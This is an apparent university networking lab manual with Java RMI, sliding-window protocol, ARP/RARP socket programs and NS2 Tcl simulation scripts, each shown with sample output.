// Implement Remote behavior--CalcImpl.java import java.rmi.*; import java.rmi.server.*; public class CalcImpl extends UnicastRemoteObject implements CalcInf { public CalcImpl() throws RemoteException { } public long add(int a, int b) throws RemoteException { return a + b; } public int sub(int a, int b) throws RemoteException { int c = a > b ? a - b : b - a; return c; } public long mul(int a, int b) throws RemoteException { return a * b; } public int div(int a, int b) throws RemoteException { return a / b; } public int rem(int a, int b) throws RemoteException { return a % b; } }

// Server that names the service implemented--CalcServer.java import java.rmi.*; public class CalcServer { public static void main(String args[]) { try { CalcInf C = new CalcImpl(); Naming.rebind("CalcService", C); } catch (Exception e) { System.out.println(e.getMessage()); } } } // Client that invokes remote host methods--CalcClient.java import java.rmi.*; import java.net.*; public class CalcClient { public static void main(String[] args) throws Exception { try { CalcInf C = (CalcInf) Naming.lookup("rmi://172.16.1.219/CalcService"); int a, b; if (args.length != 2) { System.out.println("Usage: java CalcClient <operand1> <operand2>"); System.exit(-1); } a = Integer.parseInt(args[0]); b = Integer.parseInt(args[1]); System.out.println( "\nBasic Remote Calc\n" ); System.out.println("Summation : " + C.add(a, b)); System.out.println("Difference : " + C.sub(a, b)); System.out.println("Product : " + C.mul(a, b)); System.out.println("Quotient : " + C.div(a, b)); System.out.println("Remainder : " + C.rem(a, b)); } catch (Exception E) { System.out.println(E.getMessage()); } } }

Output Server $ javac CalcInf.java $ javac CalcImpl.java $ javac CalcServer.java $ javac CalcClient.java $ rmic CalcImpl $ mkdir clnt $ cp CalcInf.class CalcClient.class CalcImpl_Stub.class ./clnt $ rmiregistry& $ java CalcServer Client $ cd clnt $ java CalcClient 6 8 Basic Remote Calc Summation Difference Product Quotient Remainder : : : : : 14 2 48 0 6

Program // remote method interface--FiboInf.java import java.rmi.*; public interface FiboInf extends Remote { int[] fiboseries(int n)throws RemoteException; } //Remote behaviour implementation--FiboImpl.java import java.rmi.*; import java.rmi.server.*; public class FiboImpl extends UnicastRemoteObject implements FiboInf { public FiboImpl() throws RemoteException { } public int[] fiboseries(int n)throws RemoteException { int f1 = 0, f2 = 1, f3, i; int arr[]= new int[25]; arr[0] = f1; arr[1] = f2; for(i=2; i<n; i++) { f3 = f1 + f2; arr[i] = f3; f1 = f2; f2 = f3; } return(arr); } } //Server that registers the service--FiboServer.java import java.rmi.*; public class FiboServer { public static void main(String arg[]) { try { FiboInf Fi = new FiboImpl(); Naming.rebind("FiboGen", Fi);

} catch(Exception e) { System.out.println(e.getMessage()); } } } // Client that invokes remote host methods--FiboClient.java import java.rmi.*; import java.net.*; public class FiboClient { public static void main(String args[]) { try { FiboInf Fi = (FiboInf) Naming.lookup("rmi://172.16.1.219/FiboGen"); if (args.length != 1) { System.out.println("Usage: java FiboClient <terms>"); System.exit(-1); } int n = Integer.parseInt(args[0]); int a[]=Fi.fiboseries(n); System.out.print("\nFibonacci Series for " + n + " terms : "); for(int i=0; i<n; i++) System.out.print(a[i] + " "); } catch(Exception e) { System.out.println(e.getMessage()); } } }

Output Server $ javac FiboInf.java $ javac FiboImpl.java $ javac FiboServer.java $ javac FiboClient.java $ rmic FiboImpl $ mkdir clnt $ cp FiboInf.class FiboClient.class FiboImpl_Stub.class ./clnt $ rmiregistry& $ java FiboServer Client $ cd clnt $ java FiboClient 8 Fibonacci Series for 8 terms : 0 1 1 2 3 5 8 13

Program // remote method interface--FactInf.java import java.rmi.*; public interface FactInf extends Remote { long factorial(int n)throws RemoteException; } //Remote behaviour implementation--FactImpl.java import java.rmi.*; import java.rmi.server.*; public class FactImpl extends UnicastRemoteObject implements FactInf { public FactImpl() throws RemoteException { } public long factorial(int n)throws RemoteException { long f = 1; for(int i=n; i>0; i--) f *= i; return f; } } //Server that registers the service--FactServer.java import java.rmi.*; public class FactServer { public static void main(String arg[]) { try { FactInf Fa = new FactImpl(); Naming.rebind("FactService", Fa); } catch(Exception e) { System.out.println(e.getMessage()); } } }

// Client that invokes remote host methods--FactClient.java import java.rmi.*; import java.net.*; public class FactClient { public static void main(String args[]) { try { FactInf Fa = (FactInf) Naming.lookup("rmi://172.16.1.219/FactService"); if (args.length != 1) { System.out.println("Usage: java FactClient <number>"); System.exit(-1); } int n = Integer.parseInt(args[0]); long factval = Fa.factorial(n); System.out.print("\n" + n + " Factorial value is " + factval); } catch(Exception e) { System.out.println(e.getMessage()); } } }

Output Server $ javac FactInf.java $ javac FactImpl.java $ javac FactServer.java $ javac FactClient.java $ rmic FactImpl $ mkdir clnt $ cp FactInf.class FactClient.class FactImpl_Stub.class ./clnt $ rmiregistry& $ java FactServer Client $ cd clnt $ java FactClient 10 10 Factorial value is 3628800 $ java FactClient 0 0 Factorial value is 1

PROTOCOL SIMULATION
Sliding window protocols are used where reliable in-order delivery is required. Each frame is assigned a unique sequence number, and the receiver uses the numbers to place received packets in the correct order. Sequence numbers range from 0 up to some maximum, circularly. In Go-Back-N Automatic Repeat Request, several frames are sent before receiving acknowledgments and a copy of these frames is kept until the acknowledgments arrive. The maximum size of the sender's window is 2 m - 1. The size of the receive window is always 1. The receiver is always looking for the arrival of a specific frame. Any frame arriving out of order is discarded and needs to be resent. When the correct frame arrives, the receive window slides. The GO-Back-N ARQ is highly inefficient for noisy channels, since frames are more likely to be lost or corrupt and be resent. In Selective Repeat ARQ, only the damaged frame is resent. The send window size and the receive window size is 2 m-1. Therefore, the frames can arrive out of order and be stored until they can be delivered. The delivery of a packet to a host or a router requires two levels of addressing, logical and physical. Therefore, it is required to map a logical address to its corresponding physical address and vice versa. A host has an IP datagram to be sent to another host has the logical address of the receiver obtained using DNS. Address Resolution Protocol (ARP) is used to know the physical address of a machine when its logical address is known. It broadcasts a request, to which the intended recipient replies with its physical address. In certain cases, a host aware of its physical address needs to know the logical address. For instance, a diskless station booted from its ROM. The station can find its physical address by checking its interface provided by the manufacturer. The system can use the physical address to get the logical address by using the Reverse Address Resolution Protocol (RARP).

Program // Go Back N Sender--GBNSend.java import java.io.*; import java.net.*; public class GBNSend { String output[] = new String[7]; void sendMsg(BufferedReader buff, BufferedReader in, PrintWriter out, int x) throws Exception { try { for(int i=x; i<7; i++) { System.out.print("Content for frame" + i + " : "); output[i] = in.readLine(); out.println(output[i]); out.flush(); } } catch(Exception e) { System.out.println("exception is" + e); } } public static void main(String[] args) throws Exception { GBNSend g = new GBNSend(); ServerSocket ssoc = new ServerSocket(6000); Socket soc = ssoc.accept(); String input[] = new String[7]; BufferedReader buff = new BufferedReader(new InputStreamReader(soc.getInputStream())); PrintWriter out = new PrintWriter(new OutputStreamWriter(soc.getOutputStream())); BufferedReader in = new BufferedReader(new InputStreamReader(System.in)); System.out.println("Window size 7"); System.out.println("Enter message in format-SeqNoData"); int x = 0; g.sendMsg(buff,in,out,0);

for(int j=0; j<7; j++) { String s = new String(); input[j] = buff.readLine(); s = j + ""; if(input[j].startsWith(s)) System.out.println("Ack for frame" + j); else { System.out.println("Frame" + j + " lost/corrupt. Go Back & resend"); x = j; g.sendMsg(buff,in,out,j); --j; } } soc.close(); ssoc.close(); } } //Go Back N Receiver--GBNReceive.java import java.io.*; import java.net.*; public class GBNReceive { String input[] = new String[7]; void ReceiveMsg(BufferedReader buff, PrintWriter out, int x) throws Exception { try { for(int i=x; i<7; i++) input[i] = buff.readLine(); } catch(Exception e) { System.out.println("exception is" + e); } } public static void main(String[] args) throws Exception { GBNReceive g = new GBNReceive(); Socket soc = new Socket("localhost", 6000); BufferedReader buff = new BufferedReader(new InputStreamReader(soc.getInputStream())); PrintWriter out = new PrintWriter(new OutputStreamWriter(soc.getOutputStream()));

int x = 0; g.ReceiveMsg(buff,out,0); for(int j=x; j<7; j++) { String s = new String(); s = j + ""; if(g.input[j].startsWith(s)) { String rmsg = g.input[j]; rmsg = rmsg.substring(1,rmsg.length()); System.out.println("Frame" + j + "data is " + rmsg); out.println(j + "ack"); out.flush(); } else { out.println("no ack"); out.flush(); x = j; g.ReceiveMsg(buff,out,j); --j; } } soc.close(); } }

Output Sender $ javac GBNSend.java $ java GBNSend Window size 7 Enter message in format--SeqNoData Content for frame0 : 0hi Content for frame1 : 1hello Content for frame2 : 2i am here Content for frame3 : 3where r u? Content for frame4 : here only Content for frame5 : 5can u see me Content for frame6 : 6which direction Ack for frame0 Ack for frame1 Ack for frame2 Ack for frame3 Frame4 lost/corrupt. Go Back & resend Content for frame4 : 4here only Content for frame5 : 5which direction Content for frame6 : ok Ack for frame4 Ack for frame5 Frame6 lost/corrupt. Go Back & resend Content for frame6 : 6South Ack for frame6 Receiver $ javac GBNReceive.java $ java GBNReceive Frame0 data is hi Frame1 data is hello Frame2 data is i am here Frame3 data is where r u? Frame4 data is here only Frame5 data is which direction Frame6 data is South

Program // Selective Repeat Sender--SRSend.java import java.io.*; import java.net.*; public class SRSend { String output[] = new String[7]; void sendMsg(BufferedReader buff, BufferedReader in, PrintWriter out, int x, int flag) throws Exception { try { if(flag == 1) { for(int i=0; i<7; i++) { System.out.print("Content for frame "+i+" : "); output[i] = in.readLine(); out.println(output[i]); out.flush(); } } else { System.out.print("Content for frame" + x + " : "); output[x] = in.readLine(); out.println(output[x]); out.flush(); } } catch(Exception e) { System.out.println("exception is" +e); } } public static void main(String[] args) throws Exception { SRSend g = new SRSend(); ServerSocket ssoc = new ServerSocket(6000); Socket soc = ssoc.accept(); String input[] = new String[7]; BufferedReader buff = new BufferedReader(new InputStreamReader(soc.getInputStream())); PrintWriter out = new PrintWriter(new OutputStreamWriter(soc.getOutputStream())); BufferedReader in = new BufferedReader(new InputStreamReader(System.in));

System.out.println("Window size 7"); System.out.println("Enter message in format-SeqNoData"); int x = 0; g.sendMsg(buff,in,out,0,1); for(int j=x; j<7; j++) { String s = new String(); input[j] = buff.readLine(); s = j + ""; if(input[j].startsWith(s)) System.out.println("Ack for frame" + j); else { System.out.println("Frame" + j + " lost/corrupt. Resend it"); x = j; g.sendMsg(buff,in,out,x,0); j--; } } soc.close(); ssoc.close(); } } // Selective Repeat Receiver import java.io.*; import java.net.*; public class SRReceive { String input[] = new String[7]; void ReceiveMsg(BufferedReader buff, PrintWriter out, int x, int flag) throws Exception { try { if(flag == 1) for(int i=0; i<7; i++) input[i] = buff.readLine(); else input[x] = buff.readLine(); } catch(Exception e) { System.out.println("exception is" + e); } }

public static void main(String[] args) throws Exception { SRReceive g = new SRReceive(); Socket soc = new Socket("localhost", 6000); BufferedReader buff = new BufferedReader(new InputStreamReader(soc.getInputStream())); PrintWriter out = new PrintWriter(new OutputStreamWriter(soc.getOutputStream())); int x=0; g.ReceiveMsg(buff,out,0,1); for(int j=x; j<7; j++) { String s = new String(); s = j + ""; if(g.input[j].startsWith(s)) { String rmsg = g.input[j]; rmsg = rmsg.substring(1, rmsg.length()); System.out.println("Frame" + j + "data is " + rmsg); out.println(j + "ack"); out.flush(); } else { out.println("no ack"); out.flush(); x = j; g.ReceiveMsg(buff,out,j,0); j--; } } soc.close(); } }

Output Sender $ javac SRSend.java $ java SRSend Window size 7 Window size 7 Enter message in format--SeqNoData Content for frame0 : 0hi Content for frame1 : 1hello Content for frame2 : 2i am here Content for frame3 : 3where r u? Content for frame4 : here only Content for frame5 : 5can u see me Content for frame6 : 6which direction Ack for frame0 Ack for frame1 Ack for frame2 Ack for frame3 Frame4 lost/corrupt. Resend it Content for frame4 : 4here only Ack for frame4 Ack for frame5 Ack for frame6 Receiver $ javac SRReceive.java $ java SRReceive Frame0 data is hi Frame1 data is hello Frame2 data is i am here Frame3 data is where r u? Frame4 data is here only Frame5 data is can u see me Frame6 data is which direction

Program //ARP Server -- arpserver.java import java.io.*; import java.net.*; class arpserver { public static void main(String args[])throws IOException { try { ServerSocket soc = new ServerSocket(2500); System.out.println("Server started"); Socket client = null; client = soc.accept(); String str; PrintStream ps = new PrintStream(client.getOutputStream()); BufferedReader br = new BufferedReader(new InputStreamReader(client.getInputStream())); Runtime r = Runtime.getRuntime(); Process p = r.exec("ifconfig eth0"); BufferedReader pin=new BufferedReader(new InputStreamReader(p.getInputStream())); String haddr = ""; String ipaddr = br.readLine(); int flag = 0; while((str = pin.readLine())!=null) { System.out.println(str); if((str.indexOf("HWaddr")) != -1) { int tlen = str.length(); int hlen = tlen - 19; haddr = str.substring(hlen,tlen); } else if ((str.indexOf(ipaddr)) != -1) { flag = 1; } } if (flag == 1) ps.println(haddr); ps.close(); br.close(); pin.close(); client.close();

soc.close(); } catch(IOException io) { System.err.println("Exception : " + io.toString()); } } } //ARP Client -- arpclient.java import java.io.*; import java.net.*; class arpclient { public static void main(String args[]) { try { Socket client = new Socket("localhost", 2500); BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); PrintStream ps = new PrintStream(client.getOutputStream()); String ipaddr,haddr = null; BufferedReader sin = new BufferedReader(new InputStreamReader(client.getInputStream())); System.out.print("Enter the IP address : "); ipaddr = br.readLine(); ps.println(ipaddr); haddr = sin.readLine(); if (haddr == null) System.out.println("Host does not exist"); else System.out.println("Physical Address " + haddr); ps.close(); br.close(); client.close(); } catch(IOException io) { System.err.println(io.toString()); } } }

Output Server $ javac arpserver.java $ java arpserver Server started


eth0 Link encap:Ethernet HWaddr B8:AC:6F:1B:AB:06 inet addr:172.16.6.21 Bcast:172.255.255.255 Mask:255.0.0.0 inet6 addr: fe80::baac:6fff:fe1b:ab06/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:450 errors:0 dropped:0 overruns:0 frame:0 TX packets:127 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:48118 (46.9 KiB) TX bytes:21025 (20.5 KiB) Interrupt:16

Client $ javac arpclient.java $ java arpclient Enter the IP address : 172.16.6.21 Physical Address B8:AC:6F:1B:AB:06

Program //RARP Server -- rarpserver.java import java.io.*; import java.net.*; class rarpserver { public static void main(String args[])throws IOException { try { ServerSocket soc = new ServerSocket(2500); System.out.println("Server started"); Socket client = null; client = soc.accept(); String str; PrintStream ps = new PrintStream(client.getOutputStream()); BufferedReader br = new BufferedReader(new InputStreamReader(client.getInputStream())); Runtime r = Runtime.getRuntime(); Process p = r.exec("ifconfig eth0"); BufferedReader pin = new BufferedReader(new InputStreamReader(p.getInputStream())); String ipaddr = ""; String haddr = br.readLine(); int flag = 0; while((str = pin.readLine())!=null) { System.out.println(str); if ((str.indexOf(haddr)) != -1) { flag = 1; } else if((str.indexOf("inet addr")) != -1) { int pos = str.indexOf("inet addr:") + 10; int offset = pos + 13; ipaddr = str.substring(pos,offset); } } if (flag == 1) ps.println(ipaddr); ps.close(); br.close(); pin.close(); client.close(); soc.close();

} catch(IOException io) { System.err.println("Exception : " + io.toString()); } } } // RARP Client -- rarpclient.java import java.io.*; import java.net.*; class rarpclient { public static void main(String args[]) { try { Socket client = new Socket("localhost", 2500); BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); PrintStream ps = new PrintStream(client.getOutputStream()); String haddr,ipaddr = null; BufferedReader sin = new BufferedReader(new InputStreamReader(client.getInputStream())); System.out.print("Enter the physical address : "); haddr = br.readLine(); ps.println(haddr); ipaddr = sin.readLine(); if (ipaddr == null) System.out.println("Host does not exist"); else System.out.println("Logical Address " + ipaddr); ps.close(); br.close(); client.close(); } catch(IOException io) { System.err.println(io.toString()); } } }

Output Server $ javac rarpserver.java $ java rarpserver Server started


eth0 Link encap:Ethernet HWaddr B8:AC:6F:1B:AB:06 inet addr:172.16.6.21 Bcast:172.255.255.255 Mask:255.0.0.0 inet6 addr: fe80::baac:6fff:fe1b:ab06/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:450 errors:0 dropped:0 overruns:0 frame:0 TX packets:127 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:48118 (46.9 KiB) TX bytes:21025 (20.5 KiB) Interrupt:16

Client $ javac rarpclient.java $ java rarpclient Enter the physical address : B8:AC:6F:1B:AB:06 Logical Address 172.16.6.21

NS2 SIMULATION A simulator is a device, software or system which behaves or operates like a given system when provided with a set of controlled inputs. The need for simulators is: Provide users with practical feedback such as accuracy, efficiency, cost, etc., when designing real world systems. Permit system designers to study at several different levels of abstraction Simulation can give results that are not experimentally measurable with our current level of technology. Simulations take the building/rebuilding phase out of the loop by using the model already created in the design phase. Effective means for teaching or demonstrating concepts to students. A few popular network simulators are NS-2, OPNET, GLOMOSIM, etc. Network Simulator NS2 NS2 is an object-oriented, discrete event driven network simulator developed at UC Berkley written in C++ and OTcl (Object-oriented Tool Command Language). NS is useful for simulating local and wide area networks. NS2 is an open-source simulation tool that primarily runs on Linux (cygwin for Windows). The features of NS2 are: Is a discrete event simulator for networking research Works at packet level. Provide support to simulate bunch of protocols like TCP, UDP, FTP, etc. Simulate wired and wireless network. Is a standard experiment environment in research community. Class Hierarchy

Network Animator (NAM) NS together with NAM forms a very powerful set of tools for teaching networking concepts. With NAM protocols can be visualized as animations. The NAM graphical editor is the latest addition to NAM. With this editor, one can create their network topology and simulate various protocols and traffic sources by dragging the mouse.

Create Terrestrial, satellite and wireless network with various routing algorithm (DV, LS, PIM, DSR). Traffic sources like web, ftp, telnet, cbr, and stochastic traffic. Failures, including deterministic, probabilistic loss, link failure, etc. Various queuing disciplines (droptail, RED, FQ, SFQ, etc.) and QoS

Visualize Packet flow, queue build-up and packet drops. Protocol behavior: TCP slow start, self-clocking, congestion control, fast retransmit and recovery. Node movement in wireless networks. Annotations to highlight important events. Protocol state (e.g., TCP cwnd).

NS2 Execution The overall simulation procedure in NS is shown below. NS is composed of OTcl Script and Interpreter. NS simulation results can be observed through graphs by analyzing the trace file or viewing animations with NAM.

$ ns filename.tcl NS2 Program Elements Event Scheduler Creating event scheduler set ns [new Simulator] b Schedule events $ns at time "event" c Start scheduler $ns run Creating Network a Create set of Nodes set n0 [$ns node] set n1 [$ns node] b Create links and queuing $ns duplex-link $n0 $n1 bandwidth delay queue_type Bandwidth is generally in MB Delay is generally in ms Queue type is either DropTail, RED, CBQ, FQ, SFQ, etc $ns duplex-link $n0 $n2 1Mb 10ms DropTail a

a b

Layout $ns duplex-link-op $n0 $n2 orient position where position is either right, right-up, right-down, left, leftup, left-down, up, down Marking flows $ns color 1 Blue $ns color 2 Red $udp0 set class_ 1 $udp1 set class_ 2 Tracing NAM Trace all links (must succeed scheduler creation) set nf [open out.nam w] $ns namtrace-all $nf Trace all links (must succeed scheduler creation) set tf [open out.tr w] $ns trace-all $tf Trace file ouput format event, time, from_node, to_node, pkt type, pkt size, flags, fid, src_addr, dst_addr, seq_num, pkt_id where events are r received, + enqueued, - dequeued, d dropped Tracing specific links $ns trace-queue $n0 $n1 $ns namtrace-queue $n0 $n1 Connection UDP set udp [new Agent/UDP] set null [new Agent/Null] $ns attach-agent $n0 $udp0 $ns attach-agent $n1 $null $ns connect $udp0 $null TCP set tcp0 [new Agent/TCP/FullTcp] $tcp0 set window_ 30 $tcp0 set segsize_ 536 $ns attach-agent $n0 $tcp0 set sink0 [new Agent/TCP/FullTcp] $ns attach-agent $n5 $sink0 $sink0 listen $ns connect $tcp0 $sink0 Traffic Generation UDP set src [new Application/Traffic/type] $src attach-agent $udp0 where type is either CBR, Exponential, Pareto TCP set ftp [new Application/FTP] $ftp attach-agent $tcp set telnet [new Application/Telnet] $telnet attach-agent $tcp

finish procedure Flush NS tracing, Close tracing files and execute any post-analysis programs (display results, run NAM, etc) proc finish {} { global ns nf $ns flush-trace close $nf exec nam out.nam & exit 0 }

Program #Study of UDP performance - UDP.tcl #Create a simulator object set ns [new Simulator] #Define different colors for data flows $ns color 1 Blue $ns color 2 Red #Open the nam trace file set nf [open out.nam w] $ns namtrace-all $nf #Create four nodes set n0 [$ns node] set n1 [$ns node] set n2 [$ns node] set n3 [$ns node] #Create links between the nodes $ns duplex-link $n0 $n2 1Mb 10ms DropTail $ns duplex-link $n1 $n2 1Mb 10ms DropTail $ns duplex-link $n3 $n2 1Mb 10ms SFQ #Specify layout of $ns duplex-link-op $ns duplex-link-op $ns duplex-link-op nodes $n0 $n2 orient right-down $n1 $n2 orient right-up $n2 $n3 orient right

#Monitor the queue for the link 23 vertically $ns duplex-link-op $n2 $n3 queuePos 0.5 #Create a UDP agent and attach it to node n0 set udp0 [new Agent/UDP] $udp0 set class_ 1 $ns attach-agent $n0 $udp0 # Create a CBR traffic source and attach it to udp0 set cbr0 [new Application/Traffic/CBR] $cbr0 set packetSize_ 500 $cbr0 set interval_ 0.005 $cbr0 attach-agent $udp0 #Create a UDP agent and attach it to node n1 set udp1 [new Agent/UDP] $udp1 set class_ 2 $ns attach-agent $n1 $udp1

# Create a CBR traffic source and attach it to udp1 set cbr1 [new Application/Traffic/CBR] $cbr1 set packetSize_ 500 $cbr1 set interval_ 0.005 $cbr1 attach-agent $udp1 #Create a Null agent (a traffic sink) and attach it to node n3 set null0 [new Agent/Null] $ns attach-agent $n3 $null0 #Connect traffic sources with the traffic sink $ns connect $udp0 $null0 $ns connect $udp1 $null0 #Define finish procedure proc finish {} { global ns nf $ns flush-trace #Close the trace file close $nf #Execute nam on the trace file exec nam -a out.nam & exit 0 } #Define label for nodes $ns at 0.0 "$n0 label Sender1" $ns at 0.0 "$n1 label Sender2" $ns at 0.0 "$n2 label Router" $ns at 0.0 "$n3 label Receiver" #Schedule events for the CBR agents $ns at 0.5 "$cbr0 start" $ns at 1.0 "$cbr1 start" $ns at 4.0 "$cbr1 stop" $ns at 4.5 "$cbr0 stop" #Call finish procedure after 5 seconds of simulation time $ns at 5.0 "finish" #Run the simulation $ns run

Output $ ns UDP.tcl

Program #Study of TCP performance - TCP.tcl #Create a simulator object set ns [new Simulator] #Open trace files set f [open droptail-queue-out.tr w] $ns trace-all $f #Open the nam trace file set nf [open droptail-queue-out.nam w] $ns namtrace-all $nf #s1, s2 and set s1 [$ns set s2 [$ns set s3 [$ns s3 act as sources. node] node] node]

#G acts as a gateway set G [$ns node] #r acts as a receiver set r [$ns node] #Define different colors for data flows $ns color 1 red $ns color 2 SeaGreen $ns color 3 blue #Create links between the nodes $ns duplex-link $s1 $G 6Mb 10ms $ns duplex-link $s2 $G 6Mb 10ms $ns duplex-link $s3 $G 6Mb 10ms $ns duplex-link $G $r 3Mb 10ms #Define the layout $ns duplex-link-op $ns duplex-link-op $ns duplex-link-op $ns duplex-link-op of the $s1 $G $s2 $G $s3 $G $G $r nodes orient orient orient orient DropTail DropTail DropTail DropTail right-up right right-down right

#Define the queue size for the link between node G and r $ns queue-limit $G $r 5 #Monitor the queues for links vertically $ns duplex-link-op $s1 $G queuePos 0.5 $ns duplex-link-op $s2 $G queuePos 0.5 $ns duplex-link-op $s3 $G queuePos 0.5 $ns duplex-link-op $G $r queuePos 0.5

#Create a TCP agent and attach it to node s1 set tcp1 [new Agent/TCP/Reno] $ns attach-agent $s1 $tcp1 $tcp1 set window_ 8 $tcp1 set fid_ 1 #Create a TCP agent and attach it to node s2 set tcp2 [new Agent/TCP/Reno] $ns attach-agent $s2 $tcp2 $tcp2 set window_ 8 $tcp2 set fid_ 2 #Create a TCP agent and attach it to node s3 set tcp3 [new Agent/TCP/Reno] $ns attach-agent $s3 $tcp3 $tcp3 set window_ 4 $tcp3 set fid_ 3 #Create TCP sink agents and attach them to node r set sink1 [new Agent/TCPSink] set sink2 [new Agent/TCPSink] set sink3 [new Agent/TCPSink] $ns attach-agent $r $sink1 $ns attach-agent $r $sink2 $ns attach-agent $r $sink3 #Connect the traffic sources with the traffic sinks $ns connect $tcp1 $sink1 $ns connect $tcp2 $sink2 $ns connect $tcp3 $sink3 #Create FTP applications and attach them to agents set ftp1 [new Application/FTP] $ftp1 attach-agent $tcp1 set ftp2 [new Application/FTP] $ftp2 attach-agent $tcp2 set ftp3 [new Application/FTP] $ftp3 attach-agent $tcp3 #Define a 'finish' procedure proc finish {} { global ns $ns flush-trace puts "running nam..." exec nam -a droptail-queue-out.nam & exit 0 }

#Define label for nodes $ns at 0.0 "$s1 label Sender1" $ns at 0.0 "$s2 label Sender2" $ns at 0.0 "$s3 label Sender3" $ns at 0.0 "$G label Gateway" $ns at 0.0 "$r label Receiver" #Schedule ftp events $ns at 0.1 "$ftp1 start" $ns at 0.1 "$ftp2 start" $ns at 0.1 "$ftp3 start" $ns at 5.0 "$ftp1 stop" $ns at 5.0 "$ftp2 stop" $ns at 5.0 "$ftp3 stop" #Call finish procedure after 5 seconds of simulation time $ns at 5.25 "finish" #Run the simulation $ns run

Output $ ns TCP.tcl

Program #Distance vector routing protocol distvect.tcl #Create a simulator object set ns [new Simulator] #Use distance vector routing $ns rtproto DV #Open the nam trace file set nf [open out.nam w] $ns namtrace-all $nf # Open tracefile set nt [open trace.tr w] $ns trace-all $nt #Define 'finish' procedure proc finish {} { global ns nf $ns flush-trace #Close the trace file close $nf #Execute nam on the trace file exec nam -a out.nam & exit 0 } # Create 8 nodes set n1 [$ns node] set n2 [$ns node] set n3 [$ns node] set n4 [$ns node] set n5 [$ns node] set n6 [$ns node] set n7 [$ns node] set n8 [$ns node] # Specify link characterestics $ns duplex-link $n1 $n2 1Mb 10ms $ns duplex-link $n2 $n3 1Mb 10ms $ns duplex-link $n3 $n4 1Mb 10ms $ns duplex-link $n4 $n5 1Mb 10ms $ns duplex-link $n5 $n6 1Mb 10ms $ns duplex-link $n6 $n7 1Mb 10ms $ns duplex-link $n7 $n8 1Mb 10ms $ns duplex-link $n8 $n1 1Mb 10ms DropTail DropTail DropTail DropTail DropTail DropTail DropTail DropTail

# specify layout as a octagon $ns duplex-link-op $n1 $n2 orient $ns duplex-link-op $n2 $n3 orient $ns duplex-link-op $n3 $n4 orient $ns duplex-link-op $n4 $n5 orient $ns duplex-link-op $n5 $n6 orient $ns duplex-link-op $n6 $n7 orient $ns duplex-link-op $n7 $n8 orient $ns duplex-link-op $n8 $n1 orient

left-up up right-up right right-down down left-down left

#Create a UDP agent and attach it to node n1 set udp0 [new Agent/UDP] $ns attach-agent $n1 $udp0 #Create a CBR traffic source and attach it to udp0 set cbr0 [new Application/Traffic/CBR] $cbr0 set packetSize_ 500 $cbr0 set interval_ 0.005 $cbr0 attach-agent $udp0 #Create a Null agent (a traffic sink) and attach it to node n4 set null0 [new Agent/Null] $ns attach-agent $n4 $null0 #Connect the traffic source with the traffic sink $ns connect $udp0 $null0 #Schedule events for the CBR agent and the network dynamics $ns at 0.0 "$n1 label Source" $ns at 0.0 "$n4 label Destination" $ns at 0.5 "$cbr0 start" $ns rtmodel-at 1.0 down $n3 $n4 $ns rtmodel-at 2.0 up $n3 $n4 $ns at 4.5 "$cbr0 stop" #Call the finish procedure after 5 seconds of simulation time $ns at 5.0 "finish" #Run the simulation $ns run

Output $ ns distvect.tcl

Program #Lan simulation mac.tcl set ns [new Simulator] #define color for data flows $ns color 1 Purple $ns color 2 MAgenta #open tracefile set tracefile1 [open out.tr w] $ns trace-all $tracefile1 #open nam file set namfile [open out.nam w] $ns namtrace-all $namfile #define the finish procedure proc finish {} { global ns tracefile1 namfile $ns flush-trace close $tracefile1 close $namfile exec nam out.nam & exit 0 } #create six set n0 [$ns set n1 [$ns set n2 [$ns set n3 [$ns set n4 [$ns set n5 [$ns # Specify $n1 color $n1 shape $n5 color $n5 shape $n0 color $n4 color nodes node] node] node] node] node] node]

color and shape for nodes MAgenta box MAgenta box Purple Purple

#create links between the nodes $ns duplex-link $n0 $n2 2Mb 10ms DropTail $ns duplex-link $n1 $n2 2Mb 10ms DropTail $ns simplex-link $n2 $n3 0.3Mb 100ms DropTail $ns simplex-link $n3 $n2 0.3Mb 100ms DropTail

# Create a LAN set lan [$ns newLan "$n3 $n4 $n5" 0.5Mb 40ms LL Queue/DropTail MAC/Csma/Cd Channel] #Give node position $ns duplex-link-op $n0 $n2 orient right-down $ns duplex-link-op $n1 $n2 orient right-up $ns simplex-link-op $n2 $n3 orient right $ns simplex-link-op $n3 $n2 orient left #setup TCP connection set tcp [new Agent/TCP/Newreno] $ns attach-agent $n0 $tcp set sink [new Agent/TCPSink/DelAck] $ns attach-agent $n4 $sink $ns connect $tcp $sink $tcp set fid_ 1 $tcp set packet_size_ 552 #set ftp over tcp connection set ftp [new Application/FTP] $ftp attach-agent $tcp #setup a UDP connection set udp [new Agent/UDP] $ns attach-agent $n1 $udp set null [new Agent/Null] $ns attach-agent $n5 $null $ns connect $udp $null $udp set fid_ 2 #setup a CBR over UDP connection set cbr [new Application/Traffic/CBR] $cbr attach-agent $udp $cbr set type_ CBR $cbr set packet_size_ 1000 $cbr set rate_ 0.05Mb $cbr set random_ false #scheduling the events $ns at 0.0 "$n0 label TCP_Traffic" $ns at 0.0 "$n1 label UDP_Traffic" $ns at 0.3 "$cbr start" $ns at 0.8 "$ftp start" $ns at 7.0 "$ftp stop" $ns at 7.5 "$cbr stop" $ns at 8.0 "finish" $ns run

Output $ ns mac.tcl

You might also like